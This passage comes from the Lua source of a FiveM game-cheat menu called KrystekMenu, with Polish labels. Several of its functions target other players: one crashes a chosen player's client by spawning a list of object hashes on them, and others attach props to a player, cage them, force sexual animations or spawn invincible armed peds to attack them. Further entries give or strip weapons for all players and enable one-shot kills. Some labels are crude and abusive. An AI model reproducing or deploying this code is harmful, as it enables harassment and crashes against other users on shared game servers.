- bS,
- GetPlayerPed(SelectedPlayer),
- 4103,
- 11816,
- count,
- 0.00,
- 0.0,
- 0.0,
- 0.0,
- 0.0,
- false,
- false,
- false,
- false,
- 2,
- true
- )
- ClearPedTasks(GetPlayerPed(SelectedPlayer))
- TaskPlayAnim(
- GetPlayerPed(SelectedPlayer),
- 'rcmpaparazzo_2',
- 'shag_loop_poppy',
- 2.0,
- 2.5,
- -1,
- 49,
- 0,
- 0,
- 0,
- 0
- )
- SetPedKeepTask(bS)
- TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
- SetEntityInvincible(bS, true)
- count = count - 0.4
- end
- elseif KrystekMenu.Button('~h~~r~Wsadz go do klatki') then
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- local e7 = 'prop_fnclink_05crnr1'
- local e8 = GetHashKey(e7)
- RequestModel(e8)
- while not HasModelLoaded(e8) do
- Citizen.Wait(0)
- end
- local e9 = CreateObject(e8, roundx - 1.70, roundy - 1.70, roundz - 1.0, true, true, false)
- local ea = CreateObject(e8, roundx + 1.70, roundy + 1.70, roundz - 1.0, true, true, false)
- SetEntityHeading(e9, -90.0)
- SetEntityHeading(ea, 90.0)
- FreezeEntityPosition(e9, true)
- FreezeEntityPosition(ea, true)
- elseif KrystekMenu.Button('~h~~r~Daj Hamburgera') then
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- elseif KrystekMenu.Button('~h~~r~Daj Hamburgera na jego pojazd') then
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
- GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false), 'chassis'),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- elseif KrystekMenu.Button('~h~~r~Snowball troll') then
- j = true
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- local ee = 'sr_prop_spec_tube_xxs_01a'
- local ef = GetHashKey(ee)
- RequestModel(ef)
- RequestModel(smashhash)
- while not HasModelLoaded(ef) do
- Citizen.Wait(0)
- end
- local eg = CreateObject(ef, roundx, roundy, roundz - 5.0, true, true, false)
- SetEntityRotation(eg, 0.0, 90.0, 0.0)
- local eh = -356333586
- local bR = 'WEAPON_SNOWBALL'
- for i = 0, 10 do
- local bK = GetEntityCoords(eg)
- RequestModel(eh)
- Citizen.Wait(50)
- if HasModelLoaded(eh) then
- local ped =
- CreatePed(
- 21,
- eh,
- bK.x + math.sin(i * 2.0),
- bK.y - math.sin(i * 2.0),
- bK.z - 5.0,
- 0,
- true,
- true
- ) and
- CreatePed(
- 21,
- eh,
- bK.x - math.sin(i * 2.0),
- bK.y + math.sin(i * 2.0),
- bK.z - 5.0,
- 0,
- true,
- true
- )
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetCurrentPedWeapon(ped, GetHashKey(bR), true)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~o~_!_ ~r~CRASHUJ ~s~Gracza ~o~_!_') then
- local ej = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- local ek = {
- 0x9CF21E0F,
- 0x34315488,
- 0x6A27FEB1,
- 0xCB2ACC8,
- 0xC6899CDE,
- 0xD14B5BA3,
- 0xD9F4474C,
- 0x32A9996C,
- 0x69D4F974,
- 0xCAFC1EC3,
- 0x79B41171,
- 0x1075651,
- 0xC07792D4,
- 0x781E451D,
- 0x762657C6,
- 0xC2E75A21,
- 0xC3C00861,
- 0x81FB3FF0,
- 0x45EF7804,
- 0xE65EC0E4,
- 0xE764D794,
- 0xFBF7D21F,
- 0xE1AEB708,
- 0xA5E3D471,
- 0xD971BBAE,
- 0xCF7A9A9D,
- 0xC2CC99D8,
- 0x8FB233A4,
- 0x24E08E1F,
- 0x337B2B54,
- 0xB9402F87,
- 0x4F2526DA
- }
- for i = 1, #ek do
- local a = CreateObject(ek[i], ej, true, true, true)
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('SpawnObj') then
- if KrystekMenu.Button('~w~Zresp ~r~Ufo ~w~Na Nim') then -- Ufo Player
- local eb = "p_spinning_anus_s"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif KrystekMenu.Button('~w~Zresp ~r~Wiatrak ~w~Na Nim') then -- Windmill Player
- local eb = "prop_windmill_01"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif KrystekMenu.Button('~w~Zresp ~r~Maryche ~w~Na Nim') then -- Weed Player
- local eb = "prop_weed_01"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif KrystekMenu.Button("~h~~r~Customowy model") then
- local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
- local input = KeyboardInput("wpisz nazwe", "", 100)
- if IsModelValid(input) then
- local obj = CreateObject(GetHashKey(input),coords.x,coords.y,coords.z,true,true,true)
- if attachProp then
- if selectedBone == 1 then
- AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
- elseif selectedBone == 2 then
- AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
- end
- end
- else
- av("Niepoprwany Model!")
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('SpawnPeds') then
- if KrystekMenu.Button('~h~~r~Zresp ~r~customowego peda') then
- local bQ =KeyboardInput("Resp code peda https://wiki.rage.mp/index.php?title=Peds","",100000000)
- local bR =KeyboardInput("Z jaka bronia? weapon_(nazwa)","",100000000)
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~SWAT z ~y~AK') then
- local bQ = 's_m_y_swat_01'
- local bR = 'WEAPON_ASSAULTRIFLE'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~wieloryba') then
- local bQ = 'a_c_humpback'
- local bR = 'WEAPON_ASSAULTRIFLE'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~pedofila jebanego w dupe') then
- local bQ = 'cs_priest'
- local bR = 'WEAPON_ASSAULTRIFLE'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~SWAT z ~y~pistoletem na flary') then
- local bQ = 's_m_y_swat_01'
- local bR = 'weapon_flaregun'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~SWAT z ~y~Railgunem') then
- local bQ = 's_m_y_swat_01'
- local bR = 'weapon_railgun'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~swinie') then
- local bQ = 'a_c_pig'
- local bR = 'weapon_rpg'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~dzika') then
- local bQ = 'a_c_boar'
- local bR = 'weapon_rpg'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~szympansa') then
- local bQ = 'a_c_chimp'
- local bR = 'weapon_rpg'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~puma') then
- local bQ = 'a_c_mtlion'
- local bR = 'weapon_rpg'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~g~aliena') then
- local bQ = 's_m_m_movalien_01'
- local bR = 'weapon_rpg'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~g~krowe') then
- local bQ = 'a_c_cow'
- local bR = 'weapon_rpg'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~orki ') then
- local bQ = 'a_c_killerwhale'
- local bR = 'weapon_knife'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- (GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Zresp ~w~psy') then
- local bQ = 'a_c_pug'
- local bR = 'weapon_knife'
- for i = 0, 2 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- end
- KrystekMenu.Display()
- elseif
- IsDisabledControlPressed(0, 314) and IsDisabledControlPressed(0, 21) or
- IsDisabledControlPressed(0, 314) and IsDisabledControlPressed(0, 21)
- then
- if mhaonn then
- KrystekMenu.OpenMenu('KrystekMu')
- else
- bE()
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('TeleportMenu') then
- if KrystekMenu.Button('~h~Teleportuj do ~g~Znacznika') then
- c6()
- elseif KrystekMenu.Button('~h~Teleportuj do ~g~najblizszego ~s~pojazdu') then
- b_()
- elseif KrystekMenu.Button('~h~Teleportuj do ~r~kordow') then
- bT()
- elseif KrystekMenu.Button('~h~Ustaw customowy ~r~znacznik ~s~na mapie') then
- bX()
- elseif
- KrystekMenu.CheckBox(
- '~h~Pokaz ~g~Kordy',
- showCoords,
- function(dR)
- showCoords = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('WeaponMenu') then
- if KrystekMenu.MenuButton('~h~~p~#~s~ Daj Jedna Bron', 'WeaponTypes') then
- elseif KrystekMenu.Button('~h~~g~Daj Wszystkie Bronie') then
- for i = 1, #b6 do
- GiveWeaponToPed(PlayerPedId(-1), GetHashKey(b6[i]), 1000, false, false)
- end
- elseif KrystekMenu.Button('~h~~r~Usun Wszystkie Bronie') then
- RemoveAllPedWeapons(PlayerPedId(-1), true)
- elseif KrystekMenu.Button('~h~Wyrzuc trzymana bron') then
- local ak = GetPlayerPed(-1)
- local b = GetSelectedPedWeapon(ak)
- SetPedDropsInventoryWeapon(GetPlayerPed(-1), b, 0, 2.0, 0, -1)
- elseif KrystekMenu.Button('~h~~g~Daj Wszystkie Bronie Dla ~s~Wszystkich') then
- for el = 0, 128 do
- if el ~= PlayerId(-1) and GetPlayerServerId(el) ~= 0 then
- for i = 1, #b6 do
- GiveWeaponToPed(GetPlayerPed(el), GetHashKey(b6[i]), 1000, false, false)
- end
- end
- end
- elseif KrystekMenu.Button('~h~~r~Usun Wszystkie Bronie Dla ~s~Wszystkich') then
- for el = 0, 128 do
- if el ~= PlayerId(-1) and GetPlayerServerId(el) ~= 0 then
- for i = 1, #b6 do
- RemoveWeaponFromPed(GetPlayerPed(el), GetHashKey(b6[i]))
- end
- end
- end
- elseif KrystekMenu.Button('~h~Daj Amunicje') then
- for i = 1, #b6 do
- AddAmmoToPed(PlayerPedId(-1), GetHashKey(b6[i]), 200)
- end
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~OneShot OneKill',
- oneshot,
- function(dR)
- oneshot = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~g~Kolorowy ~s~Flare Gun',
- rainbowf,
- function(dR)
- rainbowf = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Pistolet Na Pojazdy XD',
- VehicleGun,
- function(dR)
- VehicleGun = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Delete Gun',
- DeleteGun,
- function(dR)
- DeleteGun = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('tunings') then
- veh = GetVehiclePedIsUsing(PlayerPedId())
- for i, dE in pairs(bl) do
- if dE.id == 'extra' and #checkValidVehicleExtras() ~= 0 then
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'neon' then
